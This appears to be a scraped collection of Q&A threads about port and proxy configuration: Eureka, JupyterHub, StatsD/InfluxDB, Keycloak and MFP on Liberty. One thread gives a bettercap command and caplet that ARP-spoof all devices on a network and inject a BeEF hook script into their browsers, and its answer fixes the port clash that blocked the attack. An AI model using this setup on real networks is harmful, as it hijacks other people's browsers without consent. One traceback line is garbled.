I am configuring an Eureka client app, but always the registered port result in 80.
The server config is obtained from Eureka with auto-discovery enabled, when auto-discovery is disabled the port is registered correctly.
The port of the app is assigned only from the command line (--server.port=8080) and deleted in all other properties files (app.yaml, boostrap.yaml and in the config server git repo)
I have notice that in this code:
EurekaClientConfiguration.java
if (port != 0 && instanceConfig.getNonSecurePort() == 0) {
instanceConfig.setNonSecurePort(port);
}
The instanceConfig.getNonSecurePort() never is 0, due to this, the nonSecurePort property is never changed.
I have to register the port property in some other place?
Edited to add some detail:
I mean that my bootstrap.yml has the following lines:
cloud:config:discovery:enabled: true
The yml config is in a github repository and doesn’t have the port assigned
The app is running in the port 8082 with the app param --server.port=8082 But when it is registered in Eureka the port is always 80 instead of 8082
<port enabled="true">8082</port>
<securePort enabled="false">443</securePort>
This cause every based ribbon invocation doesn’t get the correct URL.
I notice that the port is setting correctly in this handler event after the init
EurekaClientConfiguration.java:
public void onApplicationEvent(EmbeddedServletContainerInitializedEvent event) {
...
EurekaClientConfiguration.this.port = event.getEmbeddedServletContainer().getPort();
But the flag "running" is active now and doesn't have any effect
Thanks a lot for your help
Related
I'm trying to set up jupyterhub. The 8000 is used for a different program, so I have to use a different port.
I change the file /etc/jupyterhub/jupyterhub_config.py add/uncomments:
c.JupyterHub.hub_port = 9003
c.JupyterHub.ip = '111.111.11.1'
c.JupyterHub.port = 9002
c.ConfigurableHTTPProxy.api_url = 'http://127.0.0.1:9000'
when I tried to running jupyterhub, I got the error:
[W 2020-06-03 14:48:48.930 JupyterHub proxy:554] Stopped proxy at pid=47639
[W 2020-06-03 14:48:48.932 JupyterHub proxy:643] Running JupyterHub without SSL. I hope there is SSL termination happening somewhere else...
[I 2020-06-03 14:48:48.932 JupyterHub proxy:646] Starting proxy # http://111.111.11.1:9002/
14:48:49.301 [ConfigProxy] info: Proxying http://111.111.11.1:9002 to (no default)
14:48:49.307 [ConfigProxy] info: Proxy API at http://127.0.0.1:9000/api/routes
14:48:49.315 [ConfigProxy] error: Uncaught Exception
[E 2020-06-03 14:48:49.437 JupyterHub app:2718]
Traceback (most recent call last):
File "/home/user/miniconda/2020.02/python/3.7/lib/python3.7/site-packages/jupyterhub/app.py", line 2716, in launch_instance_async
await self.start()
File "/home/user/miniconda/2020.02/python/3.7/lib/python3.7/site-packages/jupyterhub/app.py", line 2524, in start
await self.proxy.get_all_routes()
File "/home/user/miniconda/2020.02/python/3.7/lib/python3.7/site-pack#c.JupyterHub.hub_ip = '127.0.0.1'
ages/jupyterhub/proxy.py", line 806, in get_all_routes
resp = await self.api_request('', client=client)
File "/home/user/miniconda/2020.02/python/3.7/lib/python3.7/site-packages/jupyterhub/proxy.py", line 774, in api_request
result = await client.fetch(req)
tornado.httpclient.HTTPClientError: HTTP 403: Forbidden
What is the correct way to install jupyterhub on a port other than 8000?
Thanks.
I think some of these parameters are now obsolete, so it may depend which version you are running, but I'll assume JupyterHub 1.0+.
There are a few different services that make up JupyterHub, and the 'hub' service, confusingly, as not actually the one you are concerned with. The proxy is the main entrypoint to the application, and it proxies traffic to the hub by default, and to specific user Jupyter servers if the traffic is to a /user/ URL.
In addition, the 'hub' service also has an API endpoint that user servers can access directly (this doesn't go through the proxy). And the proxy has an extra API endpoint too, for direct access from the hub...
It is the proxy service that defaults to port 8000. To change to 80, for example try this:
## The public facing URL of the whole JupyterHub application.
#
# This is the address on which the proxy will bind. Sets protocol, ip, base_url
c.JupyterHub.bind_url = 'https://0.0.0.0:80'
Whatever port I try to use I keep getting the error:
listen tcp 0.0.0.0:PORT_NUMBER: bind: address already in use
Environment
I also installed this using Brew if you need to know that
Bettercap 2.11.1
Mac OS High-Sierra
golang 1.11.4
Command line code used:
sudo bettercap -eval "set net.probe off; set arp.spoof.targets 0.0.0.0" -caplet beef-active.cap
beef-active.cap:
set http.proxy.script beef-inject.js
set http.proxy.port 8011
set https.proxy.port 8011
http.proxy on
https.proxy on
sleep 1
arp.spoof on
Expected behavior:
I am trying to inject some js into the browser of each computer connected to my router. I except to see a message that the beef-inject was successfully injected
Actual behavior: What actually happened
Stops when it hits my IP address. Here is the output:
[13:26:41] [sys.log] [inf] http.proxy started on 0.0.0.0:8011 (sslstrip disabled)
[13:26:41] [sys.log] [inf] loading proxy certification authority TLS key from /var/root/.bettercap-ca.key.pem
[13:26:41] [sys.log] [inf] loading proxy certification authority TLS certificate from /var/root/.bettercap-ca.cert.pem
[13:26:41] [sys.log] [inf] Enabling forwarding.
[13:26:41] [sys.log] [inf] https.proxy started on 0.0.0.0:8011 (sslstrip disabled)
[13:26:41] [sys.log] [!!!] listen tcp 0.0.0.0:8011: bind: address already in use
edit:
Changing the ports for both to be different stopped the error however it is still not injecting anything into the browsers. All I keep getting in the console is:
ok so I changed that and I am no longer getting that error however, it is still not injecting any JS into the browsers. I just keep getting new and lost endpoints like so:
0.0.0.0/24 > 0.0.0.0 » [08:33:17] [endpoint.new] endpoint 0.0.0.0 detected as 04:18:d6:d0:69:e7 (Apple, Inc.).
0.0.0.0/24 > 0.0.0.0 » [08:33:23] [endpoint.lost] endpoint 0.0.0.0 (Apple, Inc.) lost.
.... Then it keeps ticking through the same messages, new > lost > new > lost
Any ideas?
set http.proxy.port 8011
set https.proxy.port 8011
Those ports are set to the same thing, which means they're both trying to listen on 8011 and are stomping on each other.
Change one of them to a different port and the error should go away.
Cheers!
I have an Amazon EC2 instance running and I am trying to set up StatsD+InfluxDB+Grafana. InfluxDB and Grafana work well (and Grafana sees the data from InfluxDB), but I can't manage to get any data from StatsD to InfluxDB.
I have a domain registered, which is pointed to my EC2 instance with an Elastic IP.
What I can see is that:
- I can perfectly interact with the InfluxDB database (including inserting values) when I don't use StatsD
- StatsD seems to be getting the data I randomly generate from Python (I can see it in its logs). It is sent through the port 8125 to StatsD.
- UTC packets sent from StatsD to InfluxDB through port 8086 seem to not be getting to InfluxDB (or not sending....?)
- Port 8086 is open on my AWS security settings for both TCP and UDP
- Port 8125 is open on my AWS security settings for UDP
I am wondering whether some of my settings are wrong, but I don't know what else to try:
InfluxDB configuration file contains:
# hostname = "localhost"
hostname = MYDOMAIN.com
[[udp]]
enabled = true
bind-address = ":8086"
database = "MY_DATABASE"
retention-policy = ""
batch-size = 1000 # will flush if this many points get buffered
batch-pending = 10 # number of batches that may be pending in memory
batch-timeout = "1s" # will flush at least this often even if we haven't hit buffer limit
read-buffer = 0 # UDP Read buffer size, 0 means OS default. UDP listener will fail if set above OS max.
udp-payload-size = 65536
My StatsD configuration file contains (among other things) the following lines:
{
influxdb: {
/*
host: '127.0.0.1', // InfluxDB host (default 127.0.0.1)
*/
host: 'MYDOMAIN.com', // InfluxDB host (default 127.0.0.1)
port: 8086, // InfluxDB port (default 8086)
database: 'MY_DATABASE', // InfluxDB db instance (required)
username: 'MY_USERNAME', // InfluxDB db username (required)
password: 'MY_PASSWORD', // InfluxDB db password (required)
flush: {
enable: true // enable regular flush strategy (default true)
},
proxy: {
enable: false, // enable the proxy strategy (default false)
suffix: 'raw', // metric name suffix (default 'raw')
flushInterval: 1000
}
},
port: 8125, // statsD port
backends: ['./backends/console'],
debug: true,
legacyNamespace: false
}
As far as I understand, the process is:
Python --> Port 8125 --> StatsD --> Port 8086 --> InfluxDB
Is there a need to use something like Telegraf or statsd-influxdb-backend to connect StatsD and InfluxDB?
I would truly appreciate any helps because I have been trying to set it up for hours and I don't see what could be wrong.
Thanks!
The part of the stack I'm not sure about is your StatsD server. It's probably having a problem posting the data to InfluxDB. If you use Telegraf instead it should "just work". Telegraf can act as a StatsD server (among many other things) and send data to InfluxDB via either UDP or the regular HTTP protocol.
We have a simple requirement where:
PS: https:/ === https://
When user hits https:/company_landing.company.com , they should be redirected to keycloak login page (at https:/ourcompany-keycloak.company.com). User enters his/her keycloak login credentials. Upon successful login to keycloak , they will be presented to the company_landing page.
The trouble is :
When User types - https:/company_landing.company.com
Keycloak tries to bring up the landing page but gives 500 Internal server error and says "Incorrect redirect uri" and in the browser I see this:
https:/ourcompany-keycloak.company.com/auth/realms/realm1/tokens/login?client_id=company_dev&state=aaaafffff-559d-4312-a8be-123412341234&redirect_uri=http%3A%2F%2Fcompany_landing.company.com%3A8081%2F%3Fauth_callback%3D1
If you observe the redirect uri above, I think the problem is that instead of https the redirect uri starts with http and http:/company-landing.company.com doesn't exist.
Settings:
keycloak settings: -
Realm --> settings --> login : Require SSL = all Requests (tried with "external" also)
Applications-->realm1-->settings-->Redirect URI = https://company_landing.company.com/*
AWS load balancer:
Port config: 443(https) forwarding to 8443
I am confused as to why it is stripping the SSL? The above works fine when testing on local environment(probably because its http://localhost) but this always gives an invalid redirect url when trying to access any link that is ssl encrypted.
-mm
You have to add the following property in the proxy configuration json file, (by default proxy.json) as an application attribute (same level as "adapter-config"):
"proxy-address-forwarding" : true,
This configuration attribute is not documented, however present in the sources of the proxy configuration: https://github.com/keycloak/keycloak/blob/master/proxy/proxy-server/src/main/java/org/keycloak/proxy/ProxyConfig.java
You don't need a certificate to be installed or use changes in adapter config.
This needs to be done in your standalone.xml, standalone-ha or domain.xml (as the case may be) as documented in the Keycloak document reverse proxy section https://www.keycloak.org/docs/latest/server_installation/index.html#_setting-up-a-load-balancer-or-proxy
Assuming that your reverse proxy doesn’t use port 8443 for SSL you also need to configure what port HTTPS traffic is redirected to.
<subsystem xmlns="urn:jboss:domain:undertow:4.0">
...
<http-listener name="default" socket-binding="http"
proxy-address-forwarding="true" redirect-socket="proxy-https"/>
...
</subsystem>
Add the redirect-socket attribute to the http-listener element. The value should be proxy-https which points to a socket binding you also need to define.
Then add a new socket-binding element to the socket-binding-group element:
<socket-binding-group name="standard-sockets" default-interface="public"
port-offset="${jboss.socket.binding.port-offset:0}">
...
<socket-binding name="proxy-https" port="443"/>
...
</socket-binding-group>
MFP 7.0.0 with IF201506081356
on WebSphere Liberty 8.5.5.5 on Linux
My idea was to modify server.xml
<httpEndpoint id="defaultHttpEndpoint"
httpPort="9080"
httpsPort="9443"
host="*" > <=== change this to a specific ipaddress
And change this JNDI entry
<jndiEntry jndiName="ibm.worklight.admin.jmx.host" value="localhost"/>
to specify the same ipaddress.
After making those changes server does not initialise correctly, it attempts to access JMX on the localhost, even though nowhere in my serverl.xml is the word "localhost"
[6/11/15 13:19:24:232 CEST] 00000040 com.worklight.common.util.jmx.LibertyRuntimeMBeanHandler I Establishing REST connection to service:
jmx:rest://localhost:9443/IBMJMXConnectorREST SSL handler=null
That attempt just repeats ad nauseum ...
Is there some cached value somewhere? Something else I need to set?
During the startup of the runtimes "localhost" is always used for the JMX connection. It is a defect, an APAR will be created.